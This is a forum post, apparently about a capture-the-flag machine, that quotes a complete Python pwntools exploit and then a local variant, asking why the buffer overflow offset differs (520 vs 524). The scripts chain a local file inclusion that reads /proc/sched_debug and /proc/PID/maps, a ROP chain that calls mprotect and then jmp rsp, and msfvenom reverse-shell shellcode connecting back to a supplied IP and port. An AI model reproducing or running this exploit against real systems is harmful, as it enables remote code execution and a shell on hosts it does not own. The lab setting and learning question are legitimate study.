[quote="josepoo" pid="43246" dateline="1651177047"]You just need to add the ROP chainmprotect + jmp rsp + shellcodefull script[code]#!/usr/bin/env pythonfrom pwn import *import sys,re,requests,socketIP="10.10.11.154"def usage(): print(f"Usage: {sys.argv[0]} ") exit()# download file and save to /tmpdef get_file(path): r = requests.get(f"http://{IP}/index.php?page={path}", allow_redirects=False) lpath = f"/tmp/{path.split('/')[-1]}" with open(lpath,"wb") as f: f.write(r.content) return lpath# find process iddef get_pid(): r = requests.get(f"http://{IP}/index.php?page=/proc/sched_debug", allow_redirects=False) pid = re.search("activate_licens\s+([0-9]+)",r.text).group(1) print(f"[+] activate_license running @ PID {pid}") return pid# extract base addresses from /proc/PID/mapsdef get_addresses(pid): r = requests.get(f"http://{IP}/index.php?page=/proc/{pid}/maps", allow_redirects=False) libc_base = int(re.search("^.*libc.*$", r.text, re.M).group(0).split("-")[0], 16) libc_path = re.search("^.*libc.*$", r.text, re.M).group(0).split(" ")[-1] libsqlite_base = int(re.search("^.*libsqlite.*$", r.text, re.M).group(0).split("-")[0], 16) libsqlite_path = re.search("^.*libsqlite.*$", r.text, re.M).group(0).split(" ")[-1] stack_base = int(re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")[0], 16) stack_end = int(re.search("^.*\[stack\].*$", r.text, re.M).group(0).split("-")[1].split()[0], 16) return libc_base, libc_path,libsqlite_base, libsqlite_path, stack_base, stack_enddef main(): if len(sys.argv) < 3: usage() try: ip = socket.inet_aton(sys.argv[1]) port = port=struct.pack(">H",int(sys.argv[2])) except: print(f"[-] Invalid arguments") usage() # Shellcode msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=port -f py shellcode = b"" shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" shellcode += b"\x97\x48\xb9\x02\x00" + port + ip + b"\x51\x48" shellcode += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" shellcode += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" shellcode += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" shellcode += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" # search PID with LFI pid = get_pid() if not pid: print(f"[-] Could not find PID for activate_license") exit() # search addresses in /proc/PID/maps libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end = get_addresses(pid) # calc sizeof(stack) for mprotect stack_size = stack_end - stack_base # 0x21000 context.clear(arch='amd64') libc = ELF(get_file(libc_path),checksec=False) # download libc libc.address = libc_base libsql = ELF(get_file(libsqlite_path),checksec=False) # download libsqlite libsql.address = libsqlite_base rop = ROP([libc, libsql]) offset = 520 # search ROP Gadgets mprotect = libc.symbols['mprotect'] # 0xf8c20 readelf -s libc.so.6 | grep mprotect pop_rdi = rop.rdi[0] # 0x26796 ropper -f libc.so.6 --search "pop rdi" pop_rsi = rop.rsi[0] # 0x2890f ropper -f libc.so.6 --search "pop rsi" pop_rdx = rop.rdx[0] # 0xcb1cd ropper -f libc.so.6 --search "pop rdx" jmp_rsp = rop.jmp_rsp[0] # 0xd431d ropper -f libsqlite3.so.0.8.6 --search "jmp rsp" payload = b'A' * offset #int mprotect(void *addr, size_t len, int prot); payload += p64(pop_rdi) + p64(stack_base) # addr = Begin of Stack payload += p64(pop_rsi) + p64(stack_size) # len = size of Stack payload += p64(pop_rdx) + p64(7) # prot = Permission 7 -> rwx payload += p64(mprotect) # call mprotect payload += p64(jmp_rsp) # jmp rsp payload += shellcode # add shellcode # File Upload beta.html r = requests.post(f"http://{IP}/activate_license.php", files = { "licensefile": payload } ) if __name__ == "__main__": main()[/code][/quote]Hello,I used and understood this script, it works very well. I also tried to modify this script to use it locally (with my libc) but it didn't work. After gdb analysis I saw we can overwrite "saved eip" at offset 524 and not 520 to continue the ROP.Could you tell me why there is a difference with the offset between local and remote exploitation ?Here is the modified script:[code]#!/usr/bin/env pythonfrom pwn import *import sys,re,requests,socketdef usage(): print(f"Usage: {sys.argv[0]} ") exit()# download file and save to /tmpdef get_file(path): r = open(path, "rb").read() lpath = f"/tmp/{path.split('/')[-1]}" with open(lpath,"wb") as f: f.write(r) return lpath# find process iddef get_pid(): r = open("/proc/sched_debug", "r").read() pid = re.search("activate_licens\s+([0-9]+)",r).group(1) print(f"[+] activate_license running @ PID {pid}") return pid# extract base addresses from /proc/PID/mapsdef get_addresses(pid): r = open(f"/proc/{pid}/maps", "r").read() libc_base = int(re.search("^.*libc.*$", r, re.M).group(0).split("-")[0], 16) libc_path = re.search("^.*libc.*$", r, re.M).group(0).split(" ")[-1] libsqlite_base = int(re.search("^.*libsqlite.*$", r, re.M).group(0).split("-")[0], 16) libsqlite_path = re.search("^.*libsqlite.*$", r, re.M).group(0).split(" ")[-1] stack_base = int(re.search("^.*\[stack\].*$", r, re.M).group(0).split("-")[0], 16) stack_end = int(re.search("^.*\[stack\].*$", r, re.M).group(0).split("-")[1].split()[0], 16) return libc_base, libc_path,libsqlite_base, libsqlite_path, stack_base, stack_enddef main(): if len(sys.argv) < 2: usage() try: ip = socket.inet_aton("127.0.0.1") port = port=struct.pack(">H",int(sys.argv[1])) except: print(f"[-] Invalid arguments") usage() # Shellcode msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=port -f py shellcode = b"" shellcode += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" shellcode += b"\x97\x48\xb9\x02\x00" + port + ip + b"\x51\x48" shellcode += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" shellcode += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" shellcode += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" shellcode += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" # search PID with LFI pid = get_pid() if not pid: print(f"[-] Could not find PID for activate_license") exit() # search addresses in /proc/PID/maps libc_base, libc_path, libsqlite_base, libsqlite_path, stack_base, stack_end = get_addresses(pid) # calc sizeof(stack) for mprotect stack_size = stack_end - stack_base # 0x21000 context.clear(arch='amd64') libc = ELF(get_file(libc_path),checksec=False) # download libc libc.address = libc_base libsql = ELF(get_file(libsqlite_path),checksec=False) # download libsqlite libsql.address = libsqlite_base rop = ROP([libc, libsql]) offset = 524 # search ROP Gadgets mprotect = libc.symbols['mprotect'] # 0xf8c20 readelf -s libc.so.6 | grep mprotect pop_rdi = rop.rdi[0] # 0x26796 ropper -f libc.so.6 --search "pop rdi" pop_rsi = rop.rsi[0] # 0x2890f ropper -f libc.so.6 --search "pop rsi" pop_rdx = rop.rdx[0] # 0xcb1cd ropper -f libc.so.6 --search "pop rdx" jmp_rsp = rop.jmp_rsp[0] # 0xd431d ropper -f libsqlite3.so.0.8.6 --search "jmp rsp" => locally it is in my libc only print("mprotect: "+str(hex(mprotect))) print("pop_rdi: "+str(hex(pop_rdi))) print("pop_rsi: "+str(hex(pop_rsi))) print("pop_rdx: "+str(hex(pop_rdx))) print("jmp_rsp: "+str(hex(jmp_rsp))) payload = b'A' * offset #int mprotect(void *addr, size_t len, int prot); payload += p64(pop_rdi) + p64(stack_base) # addr = Begin of Stack payload += p64(pop_rsi) + p64(stack_size) # len = size of Stack payload += p64(pop_rdx) + p64(7) # prot = Permission 7 -> rwx payload += p64(mprotect) # call mprotect payload += p64(jmp_rsp) # jmp rsp payload += shellcode # add shellcode # File Upload beta.html #r = requests.post(f"http://{IP}/activate_license.php", files = { "licensefile": payload } ) r = remote("127.0.0.1",1337) gdb.attach(r, ''' b *0x000055d9d7af15c0 c ''') r.sendline(payload) r.recv()if __name__ == "__main__": main()[/code]And also read some posts speaking about a big endian size but for me it doesn't matter no ? Just exploiting the 512 buffer seen with ghidra. We just have to send the payload in little endian excepted for the ip and port using the network byte order (big endian).Thank you : )